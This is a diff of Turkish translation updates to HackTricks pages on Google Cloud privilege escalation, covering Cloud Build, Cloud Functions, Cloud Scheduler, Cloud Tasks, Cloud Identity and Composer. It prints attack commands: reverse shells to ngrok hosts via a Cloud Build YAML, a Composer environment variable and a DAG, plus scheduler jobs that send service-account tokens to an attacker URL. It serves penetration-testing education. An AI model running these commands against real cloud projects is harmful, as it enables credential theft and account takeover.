- `clientauthconfig.brands.create`
@@ -14,6 +14,8 @@
- `clientauthconfig.clients.getWithSecret`
- `clientauthconfig.clients.delete`
- `clientauthconfig.clients.update`
+
+OAuth Marka ve İstemci Oluşturma
```bash
# Create a brand
gcloud iap oauth-brands list
@@ -21,4 +23,6 @@ gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_e
# Create a client of the brand
gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md
index 776623905..aa72e77c4 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md
@@ -4,7 +4,7 @@
## cloudbuild
-Cloud Build hakkında daha fazla bilgi için kontrol edin:
+Cloud Build hakkında daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
@@ -12,12 +12,14 @@ Cloud Build hakkında daha fazla bilgi için kontrol edin:
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
-Bu izinle **bir cloud build gönderebilirsiniz**. Cloudbuild makinesi, dosya sisteminde **varsayılan olarak bir cloudbuild Hizmet Hesabı token'ı** bulunduracaktır: `@cloudbuild.gserviceaccount.com`. Ancak, cloudbuild yapılandırmasında **projede herhangi bir hizmet hesabını belirtebilirsiniz**.\
-Bu nedenle, makinenin token'ı sunucunuza dışarıya aktarmasını sağlayabilir veya **içinde bir ters shell alarak token'ı elde edebilirsiniz** (token'ı içeren dosya değişebilir).
+Bu izin ile **bir cloud build gönderebilirsiniz**. cloudbuild makinesinin dosya sisteminde varsayılan olarak **cloudbuild Service Account'un bir token'ı** bulunur: `@cloudbuild.gserviceaccount.com`. Ancak cloudbuild konfigürasyonunda projedeki herhangi bir service account'u **belirtebilirsiniz**.\
+Bu yüzden makinenin token'ı sunucunuza exfiltrate etmesini sağlayabilir veya içine **reverse shell** alıp token'ı kendinize edinebilirsiniz (token'ı içeren dosya değişebilir).
#### gcloud CLI üzerinden doğrudan istismar
-1- `cloudbuild.yaml` oluşturun ve dinleyici verilerinizle değiştirin.
+1- `cloudbuild.yaml` oluşturun ve listener verilerinizle düzenleyin
+
+Cloud Build için reverse shell YAML yapılandırması
```yaml
steps:
- name: bash
@@ -27,19 +29,27 @@ bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
-2- Kaynağı olmayan basit bir yapı yükleyin, yaml dosyasını ekleyin ve yapıda kullanılacak SA'yı belirtin:
+
+
+2- Kaynağı olmadan basit bir build yükleyin, yaml dosyasını ekleyin ve build'te kullanılacak SA'yı belirtin:
+
+Belirtilen service account ile Cloud Build gönder
```bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com
```
-#### Python gcloud kütüphanesini kullanma
-Orijinal exploit scriptini [**burada GitHub'da**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) bulabilirsiniz (ancak token'ı aldığı yer benim için çalışmadı). Bu nedenle, bir vuln ortamın [**oluşturulması, istismar edilmesi ve temizlenmesi için otomatikleştirilmiş bir scripti buradan kontrol edin**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) ve cloudbuild makinesi içinde bir ters shell almak için bir python scripti ve [**onu buradan çalın**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (kodda diğer hizmet hesaplarını nasıl belirleyeceğinizi bulabilirsiniz)**.**
+
-Daha derinlemesine bir açıklama için [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) adresini ziyaret edin.
+#### Python gcloud kütüphanesini kullanma
+You can find the original exploit script [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (but the location it's taking the token from didn't work for me). Therefore, check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) and a python script to get a reverse shell inside the cloudbuild machine and [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in the code you can find how to specify other service accounts)**.**
+
+Daha ayrıntılı açıklama için şu adresi ziyaret edin: [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
### `cloudbuild.repositories.accessReadToken`
-Bu izinle kullanıcı, depoya erişmek için kullanılan **okuma erişim token'ını** alabilir:
+Bu izin sayesinde kullanıcı, repository'ye erişmek için kullanılan **read access token**'ı elde edebilir:
+
+Repository için read access token alma
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
@@ -47,9 +57,13 @@ curl -X POST \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadToken"
```
+
+
### `cloudbuild.repositories.accessReadWriteToken`
-Bu izinle kullanıcı, depoya erişmek için kullanılan **okuma ve yazma erişim jetonunu** alabilir:
+Bu izinle kullanıcı, repository'ye erişmek için kullanılan **okuma ve yazma erişim token'ını** alabilir:
+
+Repository için okuma ve yazma erişim token'ını al
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
@@ -57,12 +71,18 @@ curl -X POST \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadWriteToken"
```
+
+
### `cloudbuild.connections.fetchLinkableRepositories`
-Bu izinle **bağlantının erişim sağladığı reposları alabilirsiniz:**
+Bu izinle bağlantının erişebildiği reposları **alabilirsiniz:**
+
+Fetch linkable repositories
```bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects//locations//connections/:fetchLinkableRepositories"
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
index 69a3593ad..84dc249e3 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
@@ -12,19 +12,21 @@ Cloud Functions hakkında daha fazla bilgi:
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
-Bu yetkilere sahip bir saldırgan **keyfi (kötü niyetli) kodla yeni bir Cloud Function oluşturabilir ve ona bir Service Account atayabilir**. Ardından, yetkileri artırmak için metadata'dan Service Account token'ını sızdırabilir.\
-Fonksiyonu tetiklemek için bazı yetkiler gerekebilir.
+Bu ayrıcalıklara sahip bir saldırgan **rastgele (kötü amaçlı) kod içeren yeni bir Cloud Function oluşturup bir Service Account atayabilir**. Ardından metadata'dan Service Account token'ını leak ederek bu hesaba ayrıcalık yükseltmesi yapabilir.
+Fonksiyonu tetiklemek için bazı ayrıcalıklar gerekebilir.
-Bu yöntem için istismar betikleri [burada](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) ve [burada](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) bulunabilir ve önceden oluşturulmuş .zip dosyası [burada](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions) mevcuttur.
+Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
-Bu yetkilere sahip bir saldırgan **bir Fonksiyonun kodunu değiştirebilir ve hatta ekli olan hizmet hesabını değiştirebilir** ve token'ı dışarı sızdırma amacı güdebilir.
+Bu ayrıcalıklara sahip bir saldırgan **bir Function'ın kodunu değiştirebilir ve hatta iliştirilmiş service account'u değiştirerek token'ı exfiltrating etmeyi amaçlayabilir**.
> [!CAUTION]
-> Cloud functions dağıtmak için varsayılan compute service account veya imajı oluşturmak için kullanılan service account üzerinde actAs izinlerine de ihtiyacınız olacak.
+> Cloud functions deploy etmek için varsayılan compute service account üzerinde veya imajı oluşturmak için kullanılan service account üzerinde actAs izinlerine de ihtiyacınız olacaktır.
-Ekstra yetkiler, versiyon 1 cloudfunctions için `.call` izni veya fonksiyonu tetiklemek için `role/run.invoker` rolü gibi gerekebilir.
+Bazı ek ayrıcalıklar, örneğin versiyon 1 cloudfunctions için `.call` izni veya fonksiyonu tetiklemek için `role/run.invoker` rolü gerekebilir.
+
+Cloud Function'ı kötü amaçlı kodla güncelleyerek service account token'ını exfiltrate etme
```bash
# Create new code
temp_dir=$(mktemp -d)
@@ -54,14 +56,18 @@ gcloud functions deploy \
# Get SA token calling the new function code
gcloud functions call
```
-> [!CAUTION]
-> Eğer `Permission 'run.services.setIamPolicy' denied on resource...` hatasını alıyorsanız, bu `--allow-unauthenticated` parametresini kullandığınız ve yeterli izinlerinizin olmadığı anlamına gelir.
+
-Bu yöntem için istismar betiği [burada](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py) bulunabilir.
+> [!CAUTION]
+> Eğer `Permission 'run.services.setIamPolicy' denied on resource...` hatası alıyorsanız bunun nedeni `--allow-unauthenticated` parametresini kullanıyor olmanız ve bunun için yeterli izne sahip olmamanızdır.
+
+The exploit script for this method can be found [burada](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
### `cloudfunctions.functions.sourceCodeSet`
-Bu izinle, bir **fonksiyon bucket'ına dosya yüklemek için imzalı bir URL alabilirsiniz (ancak fonksiyonun kodu değişmeyecek, hala güncellemeniz gerekecek)**
+Bu izin ile bir function bucket'a dosya yükleyebilmek için **signed URL** alabilirsiniz (ancak fonksiyonun kodu değişmeyecek, yine de güncellemeniz gerekir)
+
+Cloud Function için signed upload URL oluştur
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
@@ -69,38 +75,40 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
-H "Content-Type: application/json" \
-d '{}'
```
-Tam olarak bu iznin bir saldırgan perspektifinden ne kadar faydalı olacağından emin değilim, ama bilmekte fayda var.
+
+
+Tek başına bu iznin bir attacker açısından ne kadar faydalı olduğundan tam olarak emin değilim, ama bilmek iyi.
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
-Önceki **`.update`** veya **`.create`** ayrıcalıklarından herhangi birini kendinize vererek yükseltme yapabilirsiniz.
+Kendinize yükseltme yapmak için önceki herhangi bir **`.update`** veya **`.create`** ayrıcalığını verin.
### `cloudfunctions.functions.update`
-Sadece **`cloudfunctions`** izinlerine sahip olmak, **`iam.serviceAccounts.actAs`** olmadan fonksiyonu güncelleyemezsiniz, BU YÜKSELTME İÇİN GEÇERLİ DEĞİLDİR.
+Sadece **`cloudfunctions`** izinlerine sahip olup **`iam.serviceAccounts.actAs`** yoksa function'ı güncelleyemeyeceksiniz, YANİ BU GEÇERLİ BİR PRIVESC DEĞİL.
-### Bucket Üzerinde Okuma ve Yazma Erişimi
+### Read & Write Access over the bucket
-Eğer bucket üzerinde okuma ve yazma erişiminiz varsa, kodda değişiklikleri izleyebilir ve bucket'ta bir **güncelleme olduğunda yeni kodu kendi kodunuzla güncelleyebilirsiniz**; böylece Cloud Function'ın yeni versiyonu gönderilen arka kapılı kodla çalıştırılacaktır.
+Bucket üzerinde read ve write erişiminiz varsa koddaki değişiklikleri izleyebilir ve bir **bucket'ta bir update olduğunda yeni kodu kendi kodunuzla güncelleyebilirsiniz**; böylece Cloud Function'ın yeni sürümü gönderilmiş backdoored kod ile çalışacaktır.
-Saldırı hakkında daha fazla bilgi edinebilirsiniz:
+You can check more about the attack in:
{{#ref}}
gcp-storage-privesc.md
{{#endref}}
-Ancak, bunu üçüncü taraf Cloud Functions'ı önceden tehlikeye atmak için kullanamazsınız çünkü eğer bucket'ı kendi hesabınızda oluşturur ve dış projenin üzerine yazabilmesi için kamu izinleri verirseniz, aşağıdaki hatayı alırsınız:
+Ancak, bu yöntemi üçüncü taraf Cloud Functions'ları önceden ele geçirmek için kullanamazsınız çünkü bucket'ı kendi hesabınızda oluşturup dış projeye yazma izni verirseniz şu hatayı alırsınız:
> [!CAUTION]
> Ancak, bu DoS saldırıları için kullanılabilir.
-### Artifact Registry Üzerinde Okuma ve Yazma Erişimi
+### Read & Write Access over Artifact Registry
-Bir Cloud Function oluşturulduğunda, projenin Artifact Registry'sine yeni bir docker imajı yüklenir. İmajı yeni bir imajla değiştirmeyi denedim ve mevcut imajı (ve `cache` imajını) silmeyi denedim ama hiçbir şey değişmedi, cloud function çalışmaya devam etti. Bu nedenle, belki de **bucket ile bir Yarış Koşulu saldırısını kötüye kullanmak mümkün olabilir** ama **sadece saklanan imajı değiştirmek Cloud Function'ı tehlikeye atmak için yeterli değildir**.
+Bir Cloud Function oluşturulduğunda proje Artifact Registry'sine yeni bir docker image push edilir. Görüntüyü yenisiyle değiştirmeye, hatta mevcut image'i (ve `cache` image'ini) silmeye çalıştım ve hiçbir şey değişmedi, cloud function çalışmaya devam etti. Bu yüzden, bucket ile olduğu gibi çalıştırılacak docker container'ı değiştirmek için bir Race Condition attack abuse etmek mümkün olabilir ama sadece saklanan image'i değiştirmek Cloud Function'ı ele geçirmek için yeterli değildir.
-## Referanslar
+## References
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md
index 6c807f74d..52e449caf 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md
@@ -4,7 +4,7 @@
## Cloudidentity
-Cloudidentity hizmeti hakkında daha fazla bilgi için bu sayfayı kontrol edin:
+cloudidentity servisi hakkında daha fazla bilgi için şu sayfaya bakın:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,14 +12,20 @@ Cloudidentity hizmeti hakkında daha fazla bilgi için bu sayfayı kontrol edin:
### Kendinizi bir gruba ekleyin
-Kullanıcınızın yeterli izinleri varsa veya grup yanlış yapılandırılmışsa, kendisini yeni bir grubun üyesi yapabilir:
+Kullanıcınız yeterli izinlere sahipse veya grup yanlış yapılandırıldıysa, kendini yeni bir grubun üyesi yapabilir:
+
+Bir Cloud Identity grubuna kendinizi ekleyin
```bash
gcloud identity groups memberships add --group-email --member-email [--roles OWNER]
# If --roles isn't specified you will get MEMBER
```
+
+
### Grup üyeliğini değiştirme
-Eğer kullanıcınızın yeterli izinleri varsa veya grup yanlış yapılandırılmışsa, kendisini üyesi olduğu bir grubun SAHİBİ yapabilir:
+Kullanıcınız yeterli izinlere sahipse veya grup yanlış yapılandırılmışsa, üyesi olduğu bir grubun OWNER'ı olmasını sağlayabilir:
+
+OWNER olmak için grup üyeliğini değiştir
```bash
# Check the current membership level
gcloud identity groups memberships describe --member-email --group-email
@@ -27,4 +33,6 @@ gcloud identity groups memberships describe --member-email --group-email
# If not OWNER try
gcloud identity groups memberships modify-membership-roles --group-email --member-email --add-roles=OWNER
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
index 7322bb399..e6daa57a8 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
@@ -4,7 +4,7 @@
## Cloud Scheduler
-Daha fazla bilgi için:
+More information in:
{{#ref}}
../gcp-services/gcp-cloud-scheduler-enum.md
@@ -12,33 +12,47 @@ Daha fazla bilgi için:
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
-Bu izinlere sahip bir saldırgan, **Cloud Scheduler**'ı **belirli bir Hizmet Hesabı olarak cron işlerini kimlik doğrulamak için** kullanabilir. Bir HTTP POST isteği oluşturarak, saldırgan, Hizmet Hesabı'nın kimliği altında çalıştırılacak eylemleri, örneğin bir Depolama bucket'ı oluşturmayı planlayabilir. Bu yöntem, **Scheduler'ın `*.googleapis.com` uç noktalarını hedef alma ve istekleri kimlik doğrulama yeteneğinden** yararlanarak, saldırganın basit bir `gcloud` komutu kullanarak doğrudan Google API uç noktalarını manipüle etmesine olanak tanır.
+Bu izinlere sahip bir saldırgan, **Cloud Scheduler**'ı kullanarak cron job'ları belirli bir Service Account kimliğiyle doğrulayabilir. Bir HTTP POST isteği oluşturarak saldırgan, bir Storage bucket oluşturmak gibi eylemleri Service Account kimliği altında çalışacak şekilde zamanlayabilir. Bu yöntem, **Scheduler'ın `*.googleapis.com` uç noktalarını hedefleme ve istekleri yetkilendirme yeteneğini** kullanır; böylece saldırgan basit bir `gcloud` komutuyla Google API uç noktalarını doğrudan manipüle edebilir.
-- **OAuth token başlığı ile `googleapis.com` üzerinden herhangi bir google API ile iletişim kurun**
+- **OAuth token header ile googleapis.com üzerinden herhangi bir google API'sine erişim**
-Yeni bir Depolama bucket'ı oluşturun:
+Create a new Storage bucket:
+
+Create Cloud Scheduler job to create GCS bucket via API
```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
```
-Yetki yükseltmek için, bir **saldırgan yalnızca hedef API'yi hedef alan bir HTTP isteği oluşturur ve belirtilen Hizmet Hesabını taklit eder**
+
-- **OIDC hizmet hesabı jetonunu dışarı aktar**
+Ayrıcalıkları yükseltmek için, **saldırgan yalnızca hedeflenen API'ye yönelik bir HTTP isteği oluşturur ve belirtilen Service Account kılığına girer**
+
+- **Exfiltrate OIDC service account token**
+
+Cloud Scheduler işi oluştur (exfiltrate OIDC token için)
```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
```
-HTTP yanıtını kontrol etmeniz gerekiyorsa, **çalıştırma günlüklerine bir göz atabilirsiniz**.
+
-### `cloudscheduler.jobs.update`, `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
+HTTP yanıtını kontrol etmeniz gerekirse **yürütme loglarına bir göz atabilirsiniz**.
-Önceki senaryoda olduğu gibi, **zaten oluşturulmuş bir zamanlayıcıyı güncellemek** ve token'ı çalmak veya eylemler gerçekleştirmek mümkündür. Örneğin:
+### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
+
+Önceki senaryoda olduğu gibi, token'ı çalmak veya işlem yapmak için **zaten oluşturulmuş bir scheduler'ı güncellemek** mümkündür. Örneğin:
+
+Var olan Cloud Scheduler job'ını güncelleyerek OIDC token'ını exfiltrate et
```bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
```
-Bir SA'ya özel bir anahtar yüklemek ve onu taklit etmek için başka bir örnek:
+
+
+Private key'i bir SA'ya yükleyip impersonate etmek için başka bir örnek:
+
+Service Account'a private key yükleyip Cloud Scheduler aracılığıyla impersonate etmek
```bash
# Generate local private key
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
@@ -102,6 +116,8 @@ EOF
# Activate the generated key
gcloud auth activate-service-account --key-file=/tmp/lab.json
```
+
+
## Referanslar
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md
index c4a198095..352bc39a9 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md
@@ -6,7 +6,9 @@
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
-Bu izinlere sahip bir saldırgan, belirtilen hizmet hesabının kimliğiyle çalışan görevler oluşturarak **diğer hizmet hesaplarını taklit edebilir**. Bu, **IAM korumalı Cloud Run veya Cloud Functions** hizmetlerine **kimlik doğrulamalı HTTP istekleri göndermeyi** sağlar.
+Bu izinlere sahip bir saldırgan, belirtilen service account kimliğiyle çalıştırılan görevler oluşturarak **diğer service account'ları taklit edebilir**. Bu, IAM korumalı Cloud Run veya Cloud Functions servislerine **kimlik doğrulanmış HTTP istekleri göndermeyi** sağlar.
+
+Create Cloud Task with service account impersonation
```bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
@@ -18,17 +20,25 @@ task-$(date '+%Y%m%d%H%M%S') \
--body-content '{"hello":"world"}' \
--oidc-service-account-email @.iam.gserviceaccount.com
```
+
+
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
-Bu izinlere sahip bir saldırgan, **mevcut planlı görevleri çalıştırabilir** ve bu görevle ilişkili hizmet hesabında izinlere sahip olmadan bunu yapabilir. Bu, daha yüksek ayrıcalıklı hizmet hesaplarıyla daha önce oluşturulmuş görevlerin çalıştırılmasına olanak tanır.
+Bu izinlere sahip bir saldırgan, görevle ilişkili service account üzerinde izne sahip olmadan **mevcut zamanlanmış görevleri çalıştırabilir**. Bu, daha yüksek ayrıcalıklara sahip service account'larla daha önce oluşturulmuş görevleri çalıştırmayı sağlar.
+
+Mevcut Cloud Task'ı actAs izni olmadan çalıştır
```bash
gcloud tasks run projects//locations/us-central1/queues//tasks/
```
-Bu komutu yürüten **görev hizmet hesabında `iam.serviceAccounts.actAs` iznine ihtiyaç duymuyor**. Ancak, bu yalnızca mevcut görevleri çalıştırmaya izin verir - görevleri oluşturma veya değiştirme yetkisi vermez.
+
+
+Bu komutu çalıştıran principal'ın görev servis hesabı üzerinde **`iam.serviceAccounts.actAs` iznine ihtiyacı yoktur**. Ancak bu sadece mevcut görevleri çalıştırmaya izin verir — görev oluşturma veya değiştirme yetkisi vermez.
### `cloudtasks.queues.setIamPolicy`
-Bu izne sahip bir saldırgan, **kendilerine veya diğer yetkililere belirli kuyruklarda Cloud Tasks rollerini verebilir**, bu da `roles/cloudtasks.admin` rolüne yükselme potansiyeli taşır; bu rol, görev oluşturma ve çalıştırma yetkisini içerir.
+Bu izne sahip bir saldırgan, belirli kuyruklarda kendisine veya diğer principal'lara **Cloud Tasks rolleri atayabilir**, potansiyel olarak `roles/cloudtasks.admin`'e yükselerek görev oluşturma ve çalıştırma yetkisini kazanabilir.
+
+Kuyruğa Cloud Tasks admin rolü verme
```bash
gcloud tasks queues add-iam-policy-binding \
\
@@ -36,9 +46,11 @@ gcloud tasks queues add-iam-policy-binding \
--member serviceAccount:@.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
```
-Bu, saldırganın kontrol ettiği herhangi bir hizmet hesabına kuyruk üzerinde tam Cloud Tasks yönetici izinleri vermesine olanak tanır.
+
-## Referanslar
+Bu, saldırganın kontrol ettiği herhangi bir servis hesabına kuyruk üzerinde tam Cloud Tasks admin permissions vermesine olanak tanır.
+
+## References
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md
index 09faff164..5ddf05d1a 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md
@@ -4,7 +4,7 @@
## composer
-Daha fazla bilgi için:
+Daha fazla bilgi:
{{#ref}}
../gcp-services/gcp-composer-enum.md
@@ -12,18 +12,24 @@ Daha fazla bilgi için:
### `composer.environments.create`
-Bu izinle yeni oluşturulan composer ortamına **herhangi bir hizmet hesabını** eklemek mümkündür. Daha sonra, hizmet hesabı jetonunu çalmak için composer içinde kod çalıştırabilirsiniz.
+Bu izinle yeni oluşturulan composer environment'a **herhangi bir service account'u iliştirmek** mümkündür. Daha sonra composer içinde kod çalıştırarak service account token'ını çalabilirsiniz.
+
+Service account iliştirilmiş Composer environment oluşturma
```bash
gcloud composer environments create privesc-test \
--project "${PROJECT_ID}" \
--location europe-west1 \
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
```
-Daha fazla bilgi için [**burada**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
+
+
+İstismar hakkında daha fazla bilgi için [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
### `composer.environments.update`
-Composer ortamını güncellemek mümkündür, örneğin, env değişkenlerini değiştirerek:
+composer ortamını güncellemek mümkündür; örneğin ortam değişkenlerini değiştirerek:
+
+Kod yürütme için Composer ortam değişkenlerini güncelleme
```bash
# Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
@@ -46,24 +52,36 @@ X-Allowed-Locations: 0x0
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
```
+
+
TODO: Ortama yeni pypi paketleri ekleyerek RCE elde et
-### Dags İndir
+### DAG'ları İndir
-Çalıştırılan dags'in kaynak kodunu kontrol et:
+Yürütülen DAG'ların kaynak kodunu kontrol edin:
+
+Composer ortamından DAG'ları dışa aktarın ve indirin
```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment --location --destination /tmp/dags
```
-### Dags'ı İçe Aktar
+
-Python DAG kodunu bir dosyaya ekleyin ve çalıştırarak içe aktarın:
+### DAG'leri İçe Aktar
+
+python DAG kodunu bir dosyaya ekleyin ve çalıştırarak içe aktarın:
+
+Kötü amaçlı DAG'ı Composer environment'a içe aktar
```bash
# TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
```
-Ters kabuk DAG:
-```python:reverse_shell.py
+
+
+Reverse shell DAG:
+
+Reverse shell için Python DAG kodu
+```python
import airflow
from airflow import DAG
from airflow.operators.bash_operator import BashOperator
@@ -94,22 +112,24 @@ depends_on_past=False,
priority_weight=2**31 - 1,
do_xcom_push=False)
```
+
+
### Composer bucket'ına Yazma Erişimi
-Bir composer ortamının tüm bileşenleri (DAG'lar, eklentiler ve veriler) bir GCP bucket'ında depolanır. Eğer saldırganın buna okuma ve yazma izinleri varsa, bucket'ı izleyebilir ve **herhangi bir DAG oluşturulduğunda veya güncellendiğinde, arka kapılı bir versiyon gönderebilir** böylece composer ortamı depolamadan arka kapılı versiyonu alır.
+Bir composer ortamının tüm bileşenleri (DAGs, plugins ve data) bir GCP bucket'ında depolanır. Saldırganın bu bucket üzerinde okuma ve yazma izinleri varsa, bucket'ı izleyebilir ve **whenever a DAG is created or updated, submit a backdoored version**; böylece composer ortamı depolamadan backdoored sürümü alır.
-Bu saldırı hakkında daha fazla bilgi edinin:
+Bu saldırı hakkında daha fazla bilgi:
{{#ref}}
gcp-storage-privesc.md
{{#endref}}
-### Eklentileri İçe Aktarma
+### Plugins İçe Aktarma
-TODO: Eklentileri yükleyerek neyin tehlikeye atılabileceğini kontrol et
+TODO: plugins yükleyerek nelerin tehlikeye atılabileceğini kontrol et
